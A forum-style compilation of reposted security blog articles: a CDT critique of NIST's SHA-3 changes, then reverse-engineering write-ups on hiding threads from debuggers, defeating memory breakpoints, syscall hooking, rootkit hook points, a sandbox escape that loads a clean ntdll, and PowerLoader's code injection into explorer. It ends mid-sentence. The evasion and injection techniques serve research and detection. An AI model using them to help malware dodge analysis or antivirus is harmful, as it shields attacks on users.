high-security modes: NIST must ensure that SHA-3 has strong modes of operation. NIST should at least add back in a 512-bit security level version of Keccak so those users who want exceedingly high security and don’t worry as much about performance have a standardized mode that they can use. In fact, if NIST is worried about performance, it probably makes sense to standardize the as-submitted versions of Keccak (224, 256, 384, 512-bit security levels) and add in a much weaker but high-performance 128-bit version for those users who want to make that trade-off. This would be the “Kumbaya” solution, as it would have five security levels with both the NIST-modified versions and the as-submitted Keccak versions. Justify optimizations and internal changes: NIST has obviously made significant internal changes to the Keccak algorithm. This means that the NIST-modified Keccak and the winner of the SHA-3 competition are likely to be very different. To be sure, there are probably some very good reasons for the changes, but we don’t know what they are, and it would be unfortunate to learn them simply in the draft standard as published in October. Extensive changes should technically be subject to the cryptanalysis that was brought to bear during the actual competition. Unfortunately, it will be impossible to muster the cryptographic scrutiny necessary to examine the NIST-modified Keccak as the resources and teams that worked on this during the competition are no longer available. Here, it makes sense for NIST to standardize both the winning version of Keccak and NIST’s optimized version (“SHA-3-Opt” maybe?), so that implementers can have their pick of whether they want the Keccak that was subject to the grueling competition or an improved version that hasn’t been subject to as much scrutiny. Improve the standardization process: No one doubts that NIST runs high-quality cryptographic competitions. The many-year competitions that resulted in AES (the Advanced Encryption Standard) and SHA-3 marshaled the most gifted cryptographic thinkers in the world to shake down very exotic forms of mathematics to result in very strong, clever and useful practical outcomes. The resulting algorithms look indistinguishable from magic to many of us who are not steeped in the fine art of cryptography. However, the process of getting from the algorithm that won the competition to a standard is a dark and mysterious process, and it need not be. While the relationship between NSA and NIST has always made many of us uneasy, in light of recent revelations, it’s especially important that this standardization step be open and transparent with a formal process that works to ensure that all decisions are made in a well-documented manner and that conditions that ensured an algorithm withstood withering scrutiny during a competition do not subsequently change dramatically during the standardization process. At CDT, we work hard to make sure that standards processes serve the public interest in an open, free and innovative Internet. We’ll be advocating for changes in standards processes at NIST so that it remains an unbiased, trusted, and scientific venue for developing cybersecurity and cryptographic standards. UPDATE [2013-09-24T17:41:24]: Changed title to better reflect that SHA-3 is not an encryption standard but a hash function standard (without using "hash function" in the title). Better qualified that SHA-1 is likely weak in the face of government-level adversaries. Further update [2013-09-25T06:09:38]: clarified that SHA-1 is essentially on its way out. Sursa: https://www.cdt.org/blogs/joseph-lorenzo-hall/2409-nist-sha-3

[h=3]Hidding Threads From Debuggers[/h]In this post i will take into discussion an old anti-debug trick that many of us know well. The trick is the ability of our code to hide specific threads from debuggers. This is usually achieved by calling the ntdll "ZwSetInformationThread" function with the "ThreadInformationClass" parameter set to ThreadHideFromDebugger 0x11. Sample code for this trick can be found here. If we take the "ZwSetInformationThread" function into disassembly, we can easily see that the "ThreadInformationLength" parameter must be zero for the function call to succeed, otherwise ERROR_BAD_LENGTH is returned. See image below. And here is the 64-bit version As you can see from the two images above, the whole function call ends up setting the "HideFromDebugger" bit of the "_ETHREAD" structure. Once this flag has been set, the kernel guarantees that the debugger will never receive any debug events from the corresponding thread. For example, let's take the LOAD_DLL_DEBUG_EVENT events. As you know, any time a module is loaded into the address space of specific process, the debugger is notified of this action through the LOAD_DLL_DEBUG_EVENT events.The debugger then inspects various interesting fields in the "LOAD_DLL_DEBUG_INFO" structure e.g. ImageBase. Depending on the debugger configuration, the debugger notifies you of that or not. You can see this if you instruct OllyDbg to break on new module. The two images above show how OllyDbg acts if a normal (not hidden) thread loads a new DLL. It is as follows: 1) Thread Loads a new DLL via calling e.g. the "LoadLibrary" function. 2) The "LoadLibrary" function wraps up a call to the ntdll "ZwMapViewOfSection" function. 3) The kernel mode part of ZwMapViewOfSection calls the "DbgkMapViewOfSection" function. 4) The "DbgkMapViewOfSection" functionqueries both the "HideFromDebugger" bit of the "_ETHREAD" structure and the value of the "DebugPort" field of the "_EPROCESS" structure. If the "HideFromDebugger" bit is not set and the "DebugPort" field is set, then the function builds the "LOAD_DLL_DEBUG_INFO" structure and calls the "DbgkpSendApiMessage" function which is responsible for delivering the debug event to the attached debugger. On the other side, if the "HideFromDebugger" bit is set, DbgkMapViewOfSection returns immediately without delivering the debug event. See images below. N.B. Regarding the UN/LOAD_DLL_DEBUG_EVENT's, there are other factors that determine whether or not the debug event is going to be delivered to debugger e.g. the "SuppressDebugMsg" bit of the Thread Environment Block (TEB). 5) In the debugger, the "WaitForDebugEvent" function returns with the "dwDebugEventCode" field set to LOAD_DLL_DEBUG_EVENT 0x6. Given this, the debugger figures out that a new module has just been loaded and that it should inspect the "LOAD_DLL_DEBUG_INFO" structure to extract the new image base, file handle, etc. 6) After extracting info. from the "LOAD_DLL_DEBUG_INFO" structure, the debugger calls the "ContinueDebugEvent" function to continue executing the thread. Similar to LOAD_DLL_DEBUG_EVENT's, debuggers never get notified of exceptions raised in the scope of hidden threads. To ensure that let's have a look at the "DbgkForwardException" function. As you can see in the image above, the "HideFromDebugger" bit of the "_ETHREAD" structure is queried here as well. Conclusion: When the "HideFromDebugger" bit flag of the "_ETHREAD" structure is set, the thread will not receive any debug events. If we look again at the "NtSetInformationThread" function in disassembly, we will see that the function call is one-way i.e. you can make this function call to hide the thread from debugger but you can not make this call to un-hide the thread from debuggers. Let's have a look at the "ZwQueryInformationThread" function. As the name implies, we can usethisfunction to determine if a specific thread is hidden from debuggers. See below. And here is the 64-bit version. As you can see from the two images above, the "ThreadInformationLength" parameter must be one for this function call to succeed. If it is one as expected, nothing surprising is seen, the function just sets the first byte pointed to by the "ThreadInformation" parameter to one if the "HideFromDebugger" bit of the "_ETHREAD" structureis set. Given this knowledge, i have created a small OllyDbg v1.10 plugin to detect any hidden thread in the process being debugged esp. if we are attaching to an active process. The plugin is called HiddenThreads. You download it from here and its source code from here. Unfortunately, in older versions of Windows e.g. XP, the "ZwQueryInformationThread" function can't be used to detect if a thread is hidden from debuggers as the ThreadHideFromDebugger information class 0x11 is simply not implemented. The function call returns ERROR_INVALID_PARAMETER. Now that we have seen how to hide a thread from debuggers, how this works under the hood, and how to detect if a thread is hidden from debuggers, let's try to find another way to hide the thread other than calling the "ZwSetInformationThread" function. With the introduction of the "ZwCreateThreadEx" function e.g. Windows Vista and 7, a new flags parameter is present. This flag causes new threads to be created hidden from debuggers i.e. you don't need to call the "ZwSetInformationThread" function. If we set this parameter (the 7th parameter) to 0x4, then the new thread will be hidden from debuggers. In this case, setting the "HideFromDebugger" bit occurs in the "PspAllocateThread" function. See image below. You can find a demo here and its source code from here. This post was written based on debugging sessions on Windows 7 64-bit. This is why you see me switching from x86 to x64. Any comments or ideas are very welcome. You can follow me on Twitter @waleedassar Sursa: waliedassar: Hidding Threads From Debuggers

[h=3]Defeating Memory Breakpoints[/h]In this post i will show you a couple of tricks that can be used to defeat memory breakpoints. First i should explain what memory breakpoints are and how they work. Anyone who has spent some time in the field of software protection and debuggers must have heard of Memory breakpoints. Actually, memory breakpoints were not extensively used in the past but since more and more protection schemes implement anti-INT3 and anti-Hardware breakpoints tricks, reverse engineers started to use memory breakpoints to avoid detection. The idea of memory breakpoints is so simple. Imagine that we want to place a memory breakpoint at address 0x402005 (On-Execution), what the debugger theoretically does is as follows: 1) Marks the memory page which the address 0x402005 belongs to (page 0x402000) as guarded via calling the "VirtualProtectEx" or "ZwProtectVirtualMemory" function with the "flNewProtect" parameter having the "PAGE_GUARD" protection attribute set. In this case page 0x402000 is originally PAGE_EXECUTE_READ 0x20 and after placing the memory breakpoint it becomes PAGE_EXECUTE_READ|PAGE_GUARD 0x120. 2) Each time the guarded page is touched whether read from, written to, or executes, then an exception STATUS_GUARD_PAGE_VIOLATION 0x80000001 is raised and the debugger receives a debug event of type EXCEPTION_DEBUG_EVENT. 3) The debugger then inspects various fields in the "EXCEPTION_RECORD" structure of the "DEBUG_EVENT" structure to determine the reason why the exception was raised. If the following conditions are met, then the debugger figures out that instruction at 0x402005 is about to execute i.e. breakpoint reached and that it should break accordingly. a) The "ExceptionCode" field is set to STATUS_GUARD_PAGE_VIOLATION 0x80000001. The "NumberParameters" field is greater than or equal to 2. c) The "ExceptionInformation[0]" field is set to 8. d) The "ExceptionInformation[1]" field is set to 0x402005. The image below represents something very similar. If any of the above mentioned conditions is not met, then the debugger figures out it is not the breakpoint. Whether the breakpoint is hit or not, the debugger resets the "PAGE_GUARD" protection attribute. Surprisingly, even though this is the typical way debuggers should implement memory breakpoints, OllyDbg and many other user-mode debuggers implement memory breakpoints in a slightly different way. Let's first take OllyDbg v1.10 and see how it implements memory breakpoints. If you already use OllyDbg v1.10, you should already know that it has only two kinds of memory breakpoints, On-Access and On-Write. On-Access memory breakpoints trigger anytime the page is touched and On-Write memory breakpoints trigger anytime the page is written to. Trying to reverse OllyDbg v1.10 to see how it implements each type, i found out that: 1) For On-Access memory breakpoints, they are implemented by marking the page that the breakpoint address belongs to as PAGE_NOACESS. PAGE_NOACCESS means that anytime the page is touched, an exception STATUS_ACCESS_VIOLATION is raised. The debugger then receives the debug event and inspects fields in the "EXCEPTION_RECORD" structure in a similar way to the conventional method mentioned above. 2) For On-Write memory breakpoints, they are implemented by depriving the page which the breakpoint address belongs to of the write access right via setting the "flNewProtect" parameter passed to the "VirtualProtectEx" function to PAGE_EXECUTE_READ. Every time the page is written to, an exception STATUS_ACCESS_VIOLATION is received. The debugger then receives the debug event and inspects fields in the "EXCEPTION_RECORD" structure in a similar way to the conventional method mentioned above. Here lies a bug in OllyDbg v1.10 since it assumes that the memory protection of any single page in the process address space can be turned into PAGE_EXECUTE_READ while this is not true for example memory page at 0x10000 can never be executable (Windows 7). After we have seen how memory breakpoints are implemented, i will show you two tricks that can be used as anti-memory-breakpoints. Trick 1) Given the knowledge above, we can conclude that in order to defeat memory breakpoints esp. those of type On-Execution, we should cause the "VirtualProtectEx" function to fail. How is that possible? By copying our code to a dynamically-allocated memory page whose page protection attributes can be executable and in the same time can not be guarded or no-access. This type of memory pages does really exist. For every thread you create, the kernel allocates one page (three pages in case of Wow64 processes) for the TEB. The TEB page(s) can't be non-writable and can't be assigned the "PAGE_GUARD" protection attribute. How can this be implemented? All you have to do to implement this trick is call the "CreateThread" function with the "dwCreationFlags" parameter set to CREATE_SUSPENDED. At this point, we have the new thread's TEB with the page protection attributes set to PAGE_READWRITE. The next thing we should do is make the TEB page executable by calling the "VirtualProtect" function with the "flNewProtect" parameter set to PAGE_EXECUTE_READWRITE. You can use this demo to test this trick. N.B. For more stealthy way to conceal the point at which the page protection is changed to executable, use the "VirtualAlloc" function instead of "VirtualProtect". The allocation type in this case must be MEM_COMMIT only. Trick 2) This trick can easily detect memory breakpoints. It relies on the fact that the "ReadProcessMemory" function returns false if you try to read guarded or no-access memory. To use this trick, all you have to do is call the "ReadProcessMemory" function with the "Handle" parameter set to 0xFFFFFFFF, the "lpBaseAddress" parameter set to the image base, and the "nSize" parameter set to the size of image. If it returns false, then at least one memory breakpoint is present. You can use this demo to test this trick. N.B. Certain executables have gap inaccessible pages e.g. those pages intended for anti-dumping described in a previous post. So you have to take care of that if implementing this trick. N.B. ReadProcessMemory has also been used as a stealthy way to read memory without triggering Hardware Breakpoints. Any comments or ideas are very welcome. You can follow me on Twitter @waleedassar Sursa: waliedassar: Defeating Memory Breakpoints

[h=3]Native x86 User-mode System Calls Hooking[/h] In this post i am going to explain how to implement system call hooking from user-mode for native x86 processes (i here refer to 32-bit processes running in 32-bit versions of Windows XP SP2 and SP3). Let's have a look at the "ZwOpenProcess" function of Windows XP SP2 and of Windows XP SP3. 1) XP SP2 2) XP SP3 As you can see in the images above, EAX is set to 0x7A, the system call ordinal and EDX is made to point at 0x7FFE0300 in the _KUSER_SHARED_DATA page. Then comes a CALL instruction which jumps to the "KiFastSystemCall" function whose address is stored in 0x7FFE0300 (_KUSER_SHARED_DATA::SystemCall). One difference we can see is that SYSENTER of XP SP2 is followed by 5 NOPs while in XP SP3 SYSENTER is directly followed by the RET of the "KiFastSystemCallRet" function. The first thing one may think of to implement the user-mode system call hook in Windows XP SP3/SP2 is to overwrite the "_KUSER_SHARED_DATA::SystemCall" and "_KUSER_SHARED_DATA::SystemCallRet" fields. Unfortunately, this is not possible since the page is not writable and any attempt to change its memory protection constant always fails. So, we should now turn to the "KiFastSystemCall" function and try to overwrite its very first instruction with a JMP instruction. Is this all? Let's see. For XP SP2, it is okay to write a near jmp instruction (5-byte long) since we have enough space (filled with 5 NOPs) and this does not hurt the RET instruction of the "KiFastSystemCallRet" function. But for XP SP3, any attempt to write the near jmp instruction will hurt the "KiFastSystemCallRet" function. Any common method for both XP SP2 and SP3? I thought about that and came up with something that worked for both service packs. If we allocate a memory page at an address which when converted from absolute to relative gives 0xC3 as the fifth byte of the new JMP instruction. For example, if we allocate a memory page at 0x3F910000, given that the "KiFastSystemCall" function is at 0x7C90E510, we get the new JMP instruction as a sequence of "\xE9\xEB\x1A\x00\xC3". You can check the source code of InjectHookLib for more information. N.B. We can still use a short JMP by searching for any vacant 5 bytes in the range of -128 to +127 from the address of the "KiFastSystemCall" function. LEA ESP,[ESP] seems to be okay for both service packs. N.B. With certain processors or under certain conditions e.g. disabled VT-x/AMD-V if using VirtualBox, the "KiFastSystemCall" function is not used at all and the "KiIntSystemCall" is used instead. In these cases, you can safely overwrite the first instructions of "KiIntSystemCall" function with a near JMP instruction as long as the code you hook to takes care of that. Any ideas or suggestions are always very welcome. You can follow me @waleedassar Posted by waliedassar Sursa: waliedassar: Native x86 User-mode System Calls Hooking

[h=3]Ring3 / Ring0 Rootkit Hook Detection 1/2[/h] [h=2]Introduction[/h] The cybercrime underworld hasn't given me any exciting malware to reverse and I'm running out of ideas for new posts, so I'm going to do a 2 part article about the techniques used by rootkits to intercept function calls, and how to detect them. The first part will explain some hooking methods, the second part will explain how to detect them. As I haven't done any kernel mode stuff on this blog, I will be looking at both user mode and kernel mode hooks on a x86 windows system. [h=2]Execution Flow[/h] In order to get a better understanding of the attack surface, I've made a simplified flow chart of a call to the WriteFile function in kernel32.dll. This is just an example to highlight key points, I chose the WriteFile function as it makes for a nice example, and disk I/O is commonly intercepted by malware, however most of the stuff on this graph will apply to lots of functions. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]If you haven't realized you can click the image to make it bigger, this article probably isn't for you.[/TD] [/TR] [/TABLE] (1) WriteFile is just a simple wrapper for NtWriteFile. Can be hooked with inline, IAT or EAT hooks. Hooking this function will intercept all calls to WriteFile in whichever process the hooks are placed. All paths used inside kernel32 are generally Dos Paths (C:\file.txt). [h=2][/h] (2) NtWriteFile is a small stub that sets the EAX register to a 32bit value (I'll explain this value later), then calls KiFastSystemCall. Can be hooked with inline, IAT, or EAT hooks. Hooking this function will intercept all calls to CreateFile, NtWriteFile or ZwWriteFile in whichever process the hooks are placed. All paths used by ntdll file functions are generally NT Paths (\??\C:\file.txt). (2.1) In order to call KiFastSystemCall NtWriteFile moves the address 0x7FFE0300 (KiFastSystemCall / KiFastSystemCall Pointer) into the EDX register, then it does "call edx" or "call dword ptr [edx]" The rootkit could replace the address 0x7FFE0300 within the NtWriteFile function body in order to hook it. Hooking this function will intercept all calls to CreateFile, NtWriteFile or ZwWriteFile in whichever process the hooks are placed. All paths used by ntdll file functions are generally NT Paths (\??\C:\file.txt). [h=2][/h] (3) KiFastSystemCall is a small stub that moves the stack pointer into the EDX register then executes the sysenter. The stub is only 5 bytes in size and the last instruction (RETN) is pointed to by KiFastSystemCallRet, this only leaves 4 writable bytes (not enough space for a near call/jmp). Furthermore, the address is hard-coded which makes IAT or EAT hooks impossible. Sometimes the KiFastSystemCall stub resides in KUSER_SHARED_DATA, in which case it is not writable from usermode. By hooking this function, the rootkit gains the ability to intercept all user mode calls to kernel functions. [h=2][/h] (4) The SYSENTER instruction is what transfers execution from user mode to kernel mode, in order to execute an kernel function. when the instruction is executed, the CPU sets the code segment to the content of the SYSENTER_CS register, the stack pointer to the content of the SYSENTER_ESP register, and the EIP to the content of the SYSENTER_EIP register. The SYSENTER_EIP register points to the KiFastCallEntry function ntoskrnl, as a result of this, the cpu will begin executing KiFastCallEntry. These registers are known as MSRs (Model Specific Register), they are only readable by using the cpu instruction RDMSR (Read MSR) and writable using the WRMSR (Write MSR) instruction. These instructions are both privileged (can only be executed from ring 0) therefore, in order to hook, a kernel driver must be loaded. By modifying the SYSENTER_EIP, the rootkit gains the ability to intercept all user mode calls to kernel functions, but we cannot intercept any kernel mode calls, because only user mode call use SYENTER. [h=2][/h] (5) KiFastCallEntry is responsible for taking the 32bit value from the EAX register (this is the value we mentioned in 2). The first 11 bits are the ordinal of the SSDT function to use (SSDT_Address+(Ordinal*4)), the 12th and 13th byte determine which SSDT to use, the rest of the bits are ignored. Once the function has worked out which SSDT to use, it calls the address at the given ordinal in the table. Can be hooked with an inline hooks. By hooking this function, the rootkit can intercept all user mode calls to kernel functions, as well as all kernel mode calls to functions starting with Zw, but not those starting with Nt. (5.1) Because the SSDT is a table of function pointers, it is also possible to hook calls by replacing the pointer within the SSDT. For every kernel function in ntdll, there is an equivalent pointer within the SSDT, therefore we can hook any function at will just by replacing the pointer. We are also able to hook all kernel mode calls to functions starting with Zw using this method, however, we cannot hook kernel mode calls to functions starting with Nt. [h=2][/h] (6) NtWriteFile...Again. We saw a call to NtWriteFile in 2, however that was just an ntdll.dll stub to enter into kernel mode, this is the actual NtWriteFile call pointed to by the address at the given SSDT ordinal. NtWriteFile builds an IRP (I/O Request packet) and supplies it to IopSynchronousServiceTail, it also passes a device object associated with the file being written. Can be hooked with an inline hook. By hooking this function, the rootkit can intercept user mode and kernel mode calls to NtWriteFile and ZwWriteFile. [h=2][/h] (7) IopSynchronousServiceTail may only be used on certain versions of windows, it is just a simple wrapper for IofCallDriver, so I'll skip this. [h=2][/h] (8) IofCallDriver takes a device object pointer (PDEVICE_OBJECT) and IRP pointer (PIRP) (both supplied by NtWriteFile). The device object contains a pointer to the driver object of the driver associated with that device (PDRIVER_OBJECT). The driver object contains a member called "MajorFunction", this is an array of 28 driver defined function pointers (a bit like an EAT or the SSDT), Here is a full list of IRP major function names. IofCallDriver will call one of the IRP major functions, based on which one is specified by the "MajorFunction" member in the IO_STACK_LOCATION for the supplied IRP. In the case of file operations, the device object given by NtWriteFile will nearly always be \filesystem\ntfs (aka ntfs.sys) or a filter device attached to \FileSystem\Ntfs, because filter drivers pass on the call to the device below below them until it gets to \FileSystem\Ntfs, we can assume the call will always end up at \filesystem\ntfs unless one of the filter drivers cancels it. By hooking IofCallDriver, the rootkit can intercept practically any call to any driver. In order to only intercept calls to a certain driver, the rootkit can check the "DriverName" member pointed to by the driver object which is pointed to by the device object. Alternatively to intercept calls to a certain device, the rootkit could call ObQueryNameString on the device object (It is important to note that not all devices have names). The rootkit can also filter only specific IRP major function calls, this is done by calling "IoGetCurrentIrpStackLocation" on the IRP pointer, then checking the "MajorFunction" member of the returned IO_STACK_LOCATION. [h=2][/h] (9) The IRP_MJ_WRITE function is responsible for writing files within the filesystem. By attaching a filter device to the device stack of \FileSystem\Ntfs or by replacing an IRP major function pointer with one of its own, the rootkit can intercept any call to \FileSystem\Ntfs. In order to intercept NtWriteFile calls, the rootkit would need to inspect IRP_MJ_WRITE calls in the filter device, or replace the IRP_MJ_WRITE pointer in the driver object. [h=2][/h] (10) This refers to the volume and partition drivers that are used by \FileSystem\Ntfs, these are not normally targeted by rootkits, therefore i have left them out. These drivers can be hooked in the same way as 9. [h=2][/h] (11) The NTFS filesystem uses the IRP_MJ_WRITE major function of the class driver "\Driver\Disk" aka disk.sys, in order to write a disk. Because \Driver\Disk is much lower level than the NTFS filesystem driver, there are no file name, instead it is only possible to work with LBAs (Logical Block Addresses). Logical Block Addressing in a linear method of addressing the disk by sectors, each sector is usually 512, 1024, 2048, or 4096 bytes. The sector number starts at 0 (Master Boot Record) and goes up to whatever, depending on the size of the disk. Hooking of drivers lower than ntfs.sys is usually only seen in kernel mode payload drivers used by bootkits. This is due to the fact that bootkits tend to only work with files outside of the NTFS filesystem, therefore not having to worry with translating file names to LBAs. [h=2][/h] (12) The disk subsystem refers to any driver(s) below disk.sys, generally this a port/miniport driver, which is a hardware or protocol specific driver. In most cases this will be atapi.sys or scsiport.sys which are for ATA and SCSI complaint disk devices. At this level a new IRP major function is used, IRP_MJ_SCSI, which is an alias for IRP_MJ_INTERNAL_DEVICE_CONTROL. Here, the rootkit will have to work with SCSI_REQUEST_BLOCK parameters, which further complicates things compared to a disk.sys hook. Any port/miniport hooks are usually only found in advanced kernel mode payload drivers used by bootkits. [h=2]Clarification[/h] The term "kernel function" refers to any function beginning with Nt or Zw. I call these kernel functions because the code resides in the kernel, for a user mode application to call one of these functions, it must enter the kernel via SYSENTER. Only 1, 2, and 3 can be hooked from user mode, the rest require a kernel mode driver. The reason hooks places at 5 and 5.1 cannot intercept kernel mode calls to functions starting with Nt is due to how these functions work. Any function beginning with Nt, when called from kernel mode refers to the actual function within ntoskrnl. However, when a function beginning with Zw is called from kernel mode, it sets the EAX register to the same number that was set in 2, then it calls KiSystemService. KiSystemService falls into KiFastCallEntry, I use the word fall, because it does not call or jmp, KiFastCallEntry is at an an offset into KiSystemService, thus KiFastCallEntry is actually a part of the KiSystemService Function. If you are still confused, the above graph should help. In user mode both Nt and Zw calls follow exactly the same path. Again, refer to the above graph if you are confused. By hooking at a certain point in the flow chart, the rootkit is able to accept all calls to that point and from above it. In other words, by hooking at 3 the rootkit can intercept all successful calls made to 3, 2, and 1. If while reading the kernel mode parts of this article, you are anywhere on the confused scale between "I'm not sure i get this" and "OMFGWTFBBQ", you probably need to read up on some windows kernel basics (especially driver/device stacks, I/O request packets and IRP major functions). [h=2]Conclusion[/h] This is part 1 of a 2 part article, the next part will be coming soon and will explain how to detect (and possibly remove) the hooks explained in this article. If you have any questions or I've explained something badly, leave a comment and I'll amend the article. Posted by TM Sursa: Touch My Malware: Ring3 / Ring0 Rootkit Hook Detection 1/2

[h=3]Fighting Hooks With Hooks - Sandbox Escape[/h] [h=2]Introduction[/h] I was pretty bored today and couldn't think of an article to write, decided I'd come up with an example of escaping a sandbox. Most sandboxes use hooks placed within user-mode dlls in order to monitor process activity. If someone was able to remove or bypass these hooks, they would be able to escape the sandbox. A common method used by advanced malware is to write a custom implementation of "LoadLibrary" / "LdrLoadDll". Using this code they can manually map a new, clean, copy of a dll and use it to evade hooks. Because of the nature of PE files, it is generally quite complex to do this and required a good understanding of PE files and the PE loader. As it happens, there is currently no working, easy to find, code to do this on Google, so such methods are not seen is script-kiddie malware and I'd like to keep it that way. Instead I will be showing a nice little hack that works in a similar way, however will be fairly easy for sandbox developers to deal with. [h=2]How It Works[/h] When i was thinking of which way to attack the sandbox, I thought it would be amusing (at least for me) to use hooks to facilitate the escape, I managed to do it using a single hook: "RtlEqualUnicodeString". First, if we look at the call path for "LoadLibrary" we will see it eventually ends up at "LdrLoadDll" which internally calls "LdrpLoadDll". Inside "LdrpLoadDll" is a call to LdrpCheckForLoadedDll, this function is responsible for iterating through the list of currently loaded dlls ("PEB_LDR_DATA->InMemoryOrderModuleList") and checking that the target dll isn't already loaded. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]A snippet from LdrpCheckForLoadedDll[/TD] [/TR] [/TABLE] By hooking "RtlEqualUnicodeString" or "RtlCompareUnicodeString", which is called internally by "RtlEqualUnicodeString", we can trick LdrpLoadDll into loading an already loaded dll. Because of the way "GetModuleHandle" works, any subsequent calls will return a handle to the original dll and not our new one. Now that we can trick the loader into loading new dlls, we can load a new copy of ntdll which will not be hooked. Using the address returned by "LdrLoadDll", we can call "GetProcAddress" to get a pointer to "RtlCreateUserProcess" within the new dll. Now we can create a new process whilst bypassing any hooks to catch new process creation. [h=2]Prevention[/h] This method can easily be prevented by using a hook within LdrLoadDll. Each time LdrLoadDll is called, check if the name is that of a module we need to hook, if it is, call the original LdrLoadDll, then pass the address returned to the hooking function. Remember, we cannot use GetModuleHandle or equivalent. [h=2]An Example[/h] Example Code Malwr Analysis - No Escape Malwr Analysis - Escape [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Process with 2 copies of ntdll loaded[/TD] [/TR] [/TABLE] Posted by TM Sursa: Touch My Malware: Fighting Hooks With Hooks - Sandbox Escape

[h=3]PowerLoader Injection - Something truly amazing[/h] [h=2]I'm not dead[/h] It has been a while since i wrote an article (I've been pretty busy in real life), so I decided to get writing. This article will probably only make sense to people from a malware research / programming background, but to compensate i will be posting a fairly non technical article in the near future. I will be talking about the infamous injection method from PowerLoader 2.0, which has been seen in many different malware families such as: Carberp, Redyms and Gapz. Recently, after looking at the difference between 0vercl0ck's proof of concept and the real deal, a friend asked me "Why does PowerLoader go to all the trouble of using ROP chains instead of just executing the shellcode like 0vercl0ck does.", I already had a perfect idea of why, but decided to do some digging and answer the question "How?", this digging resulted in me finding something that truly impressed me, (I try not to admire the work of criminals as i don't want to seem like a psychopath ). I would have written this article sooner, but i was totally unaware that no blogs had really gone into depth on this method, i like to be unique! [h=2]The Purpose[/h] Most antiviruses don't treat all processes the same, a known "trusted" process is usually far less likely to flag up any warnings from the antivirus. In this case, the goal of malware is to inject code into one of these "trusted" processes in order to run with less risk of detection. Of course antiviruses will attempt to catch injection too, so the challenge is for malware to find a way into the trusted process without being detected. In order to give a better idea of the stealthiness of PowerLoader I have listed below some common telltale signs of a malicious process attempting to inject. (The following only apply to a process trying to perform any of these actions on another process) Allocating heap space Creating threads Overwriting process/module memory Manipulating thread context Queuing asynchronous procedure calls (APCs) Proactive antiviruses will check for processes trying to perform these actions and could likely result in the user being alerted to a malicious process. The aim of PowerLoader is to subvert this, (which seems to be a success as it is not picked up by antiviruses, and does not cross off anything on the list). [h=2]Writing the code to explorer[/h] In the case of PowerLoader, the trusted process targeted is explorer. I won't be putting any images/reversed code for this part as it has already been well documented by ESET. PowerLoader gets the malicious code into the process by opening an existing, shared section already mapped into explorer, removing the need to allocate heap space or overwrite process memory. PowerLoader then proceeds to map the shellcode onto the end of the chosen section. Below is a list of targeted shared sections. \BaseNamedObjects\ShimSharedMemory \BaseNamedObjects\windows_shell_global_counters \BaseNamedObjects\MSCTF.Shared.SFM.MIH \BaseNamedObjects\MSCTF.Shared.SFM.AMF \BaseNamedObjects\UrlZonesSM_Administrator \BaseNamedObjects\UrlZonesSM_SYSTEM [h=2]Executing the code[/h] In order to execute the remote code without creating a thread, PowerLoader uses a little trick with the explorer tray window procedure. By opening "Shell_TrayWnd" and calling SetWindowLong, PowerLoader is able to set a variable used by the window procedure to point to a specific address in its shellcode. Here PowerLoader sets the address to a pointer to a pointer to KiUserApcDispatcher, whereas 0vercl0ck's code will just set it to a pointer to a pointer to the payload (which resides in a shared section). When SendNotifyMessage is called by the malware, the window procedure inside explorer is triggered and this is what happens. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Figure 1: A snippet from the Window Procedure[/TD] [/TR] [/TABLE] Now this code is simple, it will perform a double indirection that will result in the address pointed to by the pointer that was set using SetWindowLong, being executed. This is where PowerLoader differs from 0vercl0ck's version. The instruction "call dword ptr eax" will read the value pointed to by EAX and then call it. The read part won't trigger DEP (Data Execution Prevention), if the section is not executable (in later versions of windows it is execute-protected), however if EAX points to an address inside the section, DEP will be triggered. Because the sections protection is only set to Read/Write in later versions of windows, 0vercl0ck's code will likely trigger DEP and crash explorer, however, because PowerLoader's pointer points to KiUserApcDispatcher (resides in ntdll), DEP is not triggered. Well how does one get from KiUserApcDispatcher to code execution, without executing the non-executable shellcode, I hear you ask? [h=2]ROP Chains, Unicorns, and Rainbows[/h] This part greatly interested me, partly because I have never seen a ROP chain in the wild before but mainly because it is the most advanced injection method I have ever come across. In order to understand how PowerLoader gets from KiUserApcDispatcher, to shellcode execution, we need to do some disassembling. In Figure 1, we see the Window Procedure pushing ESI onto the stack, then calling KiUserApcDispatcher. It is important to remember ESI contains the address (held in the shellcode) of the pointer to the KiUserApcDispatcher pointer. So let's see dissasemble KiUserApcDispatcher. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Figure 2: KiUserApcDispatcher[/TD] [/TR] [/TABLE] Pay attention to the first 3 instructions. "lea edi, [esp+10h]" is loading the last parameter into the EDI register. If you remember in Figure 1, the last parameter pushed to the stack was ESI, which contains an address within the shellcode. Next it pops the return address into the EAX and then calls it, this results in execution being transferred back to the Window Procedure. So really nothing has happened here, We've just set the EDI to an address inside the shellcode and then gone back to where we came from. So in order to see what happens next, we are going to have to dig deeper. Here is some more of the Window Procedure. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Figure 3: More of the Window Procedure shown in Figure 1[/TD] [/TR] [/TABLE] Now in this disassembly we need to pay attention to the instructions underlined in red and orange, the blue box is the code we already discussed (executes KiUserApcDispatcher and sets EDI to ESI), the rest of the code can be ignored. As you can see, the function makes 2 more calls (EAX+8, followed by EAX+4), if you remember earlier, EAX is an address in the shellcode, so the next call is to the address 8 Bytes below. Let's take a look at the shellcode shall we? [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Figure 4: A small snippet from the shellcode[/TD] [/TR] [/TABLE] When SetWindowLong was called by PowerLoader it set the ESI (Blue Box Figure 3) to 00100E0C (Which holds the address 00100E20), The code then performs and indirection and EAX ends up pointing to KiUserApcDispatchPtr (00100E20). Using some very basic maths, EAX+8 points to 00100E28 and EAX+4 to 00100E24. What are 00100E28 & 00100E24? When the shellcode was made during runtime, PowerLoader searched for some byte sequences in explorer using ReadProcessMemory, then stored the addresses of those sequences in the shellcode. The sequences are instruction within the executable regions of explorer's 